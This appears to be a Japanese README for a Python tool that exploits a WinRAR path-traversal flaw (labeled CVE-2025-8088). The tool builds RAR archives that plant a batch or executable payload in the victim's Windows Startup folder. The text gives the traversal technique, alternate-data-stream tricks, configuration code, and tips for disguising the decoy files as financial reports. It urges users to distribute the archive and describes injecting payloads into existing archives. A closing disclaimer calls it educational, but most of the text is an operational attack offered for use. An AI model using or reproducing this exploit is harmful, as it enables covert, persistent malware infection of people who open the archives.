
ユーザー名を知らなくても、古いWinRARを使用するシステムを悪用できます(他のプロジェクトとは異なります)


このPythonスクリプトは、WinRARのパストラバーサル脆弱性(CVE-2025-8088)を悪用し、複数の相対パス深度を使用してWindowsのスタートアップフォルダにペイロードを展開します。このエクスプロイトは、悪意のあるRARアーカイブを作成し、解凍されると被害者のスタートアップフォルダにさまざまなディレクトリ深度でペイロードを書き込みます。
このスクリプトは、それぞれ異なる数の親ディレクトリをトラバースするように設定された複数のデコイファイル(デフォルトでは20個)を作成します。
NUM_DEPTHS = 20 # Number of different traversal depths
各ファイルは異なるパス深度を使用します。
File1.txt → ..\Startup\payload.bat
File2.txt → ..\..\Startup\payload.bat
...
File20.txt → ..\..\..\ (20 times) \Startup\payload.bat
✅ 被害者がアーカイブをどこに解凍しても(デスクトップ、ドキュメント、ダウンロード、またはネストされたフォルダ)、少なくとも1つのペイロードがスタートアップフォルダに到達することを保証します。
デコイファイルにはデフォルトで一般的なテキストが含まれていますが、現実的なソーシャルエンジニアリングのためにカスタマイズする必要があります。
# Create more convincing decoy content
decoy.write_text("Quarterly Financial Report Q3 2025.docx\n", encoding="utf-8")
デコイの内容を変更する理由は?
ペイロードはデフォルトでは単純なバッチスクリプトですが、任意の実行ファイルに置き換えることができます。
PAYLOAD = "@echo off\necho Payload executed!\npause\n"
ペイロードの場所:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
最終的な悪意のあるRARアーカイブは、次のように保存されます。
OUT_RAR = "exploit.rar"
このエクスプロイトの生成には、いくつかの理由からWindows環境が必要です。
代替データストリーム(ADS)への依存
ペイロードを添付するために使用されるNTFS専用機能:
ads_path = f"{decoy}:{placeholder}" # Windows-specific NTFS syntax
WinRAR実行ファイルの要件
WinRARのWindows CLIを使用します。
subprocess.run(f'"{rar_exe}" a -ep -os "{base_rar}" ...')
パス構造の互換性
Windows固有のパスをターゲットにします。
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu..."
ペイロードの実行
Windowsバッチファイルを生成します。
@echo off
start /B notepad.exe
設定をカスタマイズします。
# Configuration
NUM_DEPTHS = 20
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"
PAYLOAD = "@echo off\nstart /B notepad.exe\n" # Your actual payload
DECOY_FILE_PREFIX = "Financial_Report_Q3_" # More convincing names
スクリプトを実行します。
python CVE-2025-8088.py
出力を配布します。
exploit.rarを生成しますこのバージョンのコードでは、python3 infect_premade_rarfiles.py website_backup.rar のように実行するだけです。
このスクリプトはすべてのファイルを抽出し、.txt、srt、sql などの注入可能なファイル(すべてのファイルタイプが機能するわけではありません)に注入してから、実行可能なrarファイルを作成します。
⚠️ このツールは教育およびセキュリティ研究目的のみです。
明示的な許可なしにシステムに対して使用しないでください。無断使用は違法かつ非倫理的です。